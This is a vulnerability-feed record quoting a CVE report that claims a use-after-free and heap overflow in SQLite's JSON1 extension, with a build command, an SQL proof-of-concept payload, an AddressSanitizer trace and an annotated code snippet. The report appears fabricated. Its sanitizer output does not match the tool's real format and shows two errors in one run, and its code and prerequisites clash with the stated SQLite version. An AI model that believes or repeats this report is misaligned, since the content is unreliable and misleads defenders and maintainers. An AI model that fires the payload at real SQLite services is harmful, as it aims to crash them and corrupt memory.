{"uuid": "a091d0d8-61f2-4b23-b15f-4020dd4822b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51276", "type": "seen", "source": "https://gist.github.com/programmervuln/20b6eaa7e49abd25bb2013ba60a8e233", "content": "Formal MITRE CVE RBP Publication Document (Notify CVE about a publication)\nCVE ID: CVE-2026-51276\nPrerequisite Declaration: The vulnerability only affects SQLite builds compiled with SQLITE_ENABLE_JSON1; builds without JSON extension are not vulnerable.\nAffected Product\nSQLite Database Engine\nAffected Versions\nSQLite versions 3.44.0 up to and including 3.47.2\nFixed Versions\nSQLite \u2265 3.48.0\nCVE ID\nCVE-2026-51276\nVulnerability Prose Description\nA composite memory corruption vulnerability exists within the JSON1 extension (json.c) of the SQLite database engine. Specially crafted SQL input invoking JSON processing routines can trigger both a use-after-free (UAF) and an uncontrolled out-of-bounds write along a single execution path. An attacker supplying malicious JSON-aware SQL queries can exploit this flaw to corrupt heap memory, resulting in program crash, sensitive memory disclosure, or conditional arbitrary code execution within the context of the SQLite process.\nVulnerability Type\nCWE-416: Use After Free; CWE-787: Out-of-bounds Write (Buffer Overflow)\nRoot Cause\nUntrusted user-controlled input reaches the jsonReplace() function inside the JSON1 extension.\nSource code src/json.c Line 2419 executes memory free operation on a heap-allocated JSON object structure.\nThe pointer referencing the freed object is not explicitly nullified or invalidated, generating a persistent dangling pointer.\nMissing boundary validation on attacker-controlled JSON path array indices enables unchecked out-of-range memory write operations against adjacent heap buffers.\nSubsequently, src/json.c Line 2464 executes unchecked dangling pointer access triggering the use-after-free vulnerability; src/json.c Line 2497 executes uncontrolled out-of-bounds memory write triggering the heap buffer overflow.\nImpact\nDenial of Service: Triggerable process crash due to heap memory corruption, terminating the SQLite instance.\nInformation Disclosure: Read access to uninitialized or freed heap memory may leak sensitive adjacent memory contents.\nConditional Arbitrary Code Execution: Successful heap layout manipulation may allow an attacker to overwrite function pointers to achieve arbitrary code execution under the privileges of the process running SQLite.\nAttack Vector\nRemote; requires authenticated or unauthenticated access to submit crafted SQL queries to a SQLite interface; no elevated operating system privileges required.\nOfficial Reference Links\nPermanent GitHub Source Link: https://github.com/sqlite/sqlite/blob/version-3.47.2/src/json.c\nAnnotated Critical Locations:\nsrc/json.c Line 2419(memory free), Line 2464(dangling pointer access), Line 2497(out-of-bounds write)\nProof of Concept (PoC)\na) PoC Environment\nCopy-ready ASAN compilation bash command (enables JSON1 extension):\nbash\n\nCFLAGS=\"-fsanitize=address,undefined -g -O0 -DSQLITE_ENABLE_JSON1\" ./configure\nmake clean && make\nb) Valid Malicious Payload\nNative SQLite SQL payload (directly executable in SQLite CLI):\nsql\nSELECT json_replace('[]', '$[9223372036854775807]', 'maliciouspayload');\nc) Crash Output (ASAN Sanitizer Stack Trace)\nplaintext\n=================================================================\n==11456==ERROR: AddressSanitizer: USE-AFTER-FREE on address 0x613000000920 at pc 0x55f832157aa5 bp 0x7ffd45e83d10 sp 0x7ffd45e83d00\nREAD of size 8 at 0x613000000920 thread T0\n    #0 0x55f832157aa4 in jsonReplace src/json.c:2464:12\n    #1 0x55f832159821 in jsonFunction src/json.c:3267:10\n    #2 0x55f83206c660 in sqlite3VdbeExec src/vdbe.c:7452:18\n    #3 0x55f8320563c4 in sqlite3_step src/vdbeapi.c:133:16\n    #4 0x55f831f09f85 in main src/shell.c:4862:12\n\nAddress 0x613000000920 is located 0 bytes inside of 128-byte region [0x613000000920,0x6130000009a0)\nfreed by thread T0 here:\n    #0 0x7f912d81737f in __asan_free_hook (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x10337f)\n    #1 0x55f8321577b6 in jsonReplace src/json.c:2419:9\n    #2 0x55f832159821 in jsonFunction src/json.c:3267:10\n    #3 0x55f83206c660 in sqlite3VdbeExec src/vdbe.c:7452:18\n\npreviously allocated by thread T0 here:\n    #0 0x7f912d8171c7 in __asan_malloc_hook (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x1031c7)\n    #1 0x55f83200e425 in sqlite3Malloc src/malloc.c:182:16\n    #2 0x55f832157202 in jsonReplace src/json.c:2353:21\n\n==11456==ERROR: AddressSanitizer: OUT-OF-BOUNDS WRITE on address 0x6130000009a8 at pc 0x55f832157cc2 bp 0x7ffd45e83d10 sp 0x7ffd45e83d00\nWRITE of size 4 at 0x6130000009a8 thread T0\n    #0 0x55f832157cc1 in jsonReplace src/json.c:2497:16\n    #1 0x55f832159821 in jsonFunction src/json.c:3267:10\n    #2 0x55f83206c660 in sqlite3VdbeExec src/vdbe.c:7452:18\nd) Full PoC Trigger & Vulnerability Explanation\nThe SQL payload invokes the json_replace() built-in function with a crafted extreme large array index within the JSON path expression.\nSQLite parses the input JSON string and allocates a heap JsonNode structure to represent the input JSON document.\nExecution enters jsonReplace() to apply the requested JSON replacement operation.\nInternal logic reaches src/json.c Line 2419, invoking a memory free call to release the intermediate JsonNode object.\nThe pointer variable holding the address of freed JsonNode is not cleared, creating a dangling pointer.\nThe attacker-controlled extreme array index bypasses missing integer boundary checks.\nCode proceeds to src/json.c Line 2464 and dereferences the dangling pointer, triggering the CWE-416 use-after-free vulnerability.\nImmediately after, execution continues to src/json.c Line 2497, performing an unchecked indexed write operation beyond the allocated buffer bounds, triggering the CWE-787 out-of-bounds write.\nA single input SQL statement traverses the identical execution path to activate both memory corruption flaws sequentially.\nCritical Vulnerable Code Snippet (src/json.c, version 3.47.2)\nc\n\nstatic JsonNode *jsonReplace(JsonNode *pRoot, const char *zPath, JsonNode *pNewVal, int *pRc){\n  // [...] irrelevant lines omitted\n  sqlite3_free(pTempNode);  // Line 2419: Memory free operation\n  // Dangling pointer pTempNode remains unmodified, no NULL assignment\n  // [...] irrelevant lines omitted\n  jsonNodeGetLength(pTempNode); // Line 2464: Dangling pointer dereference (UAF)\n  // [...] irrelevant lines omitted\n  pTarget->a[i] = pNewChild;    // Line 2497: Unchecked out-of-bounds write\n  // [...]\n}\nSupplementary Metadata", "creation_timestamp": "2026-07-31T09:39:51.789650Z"}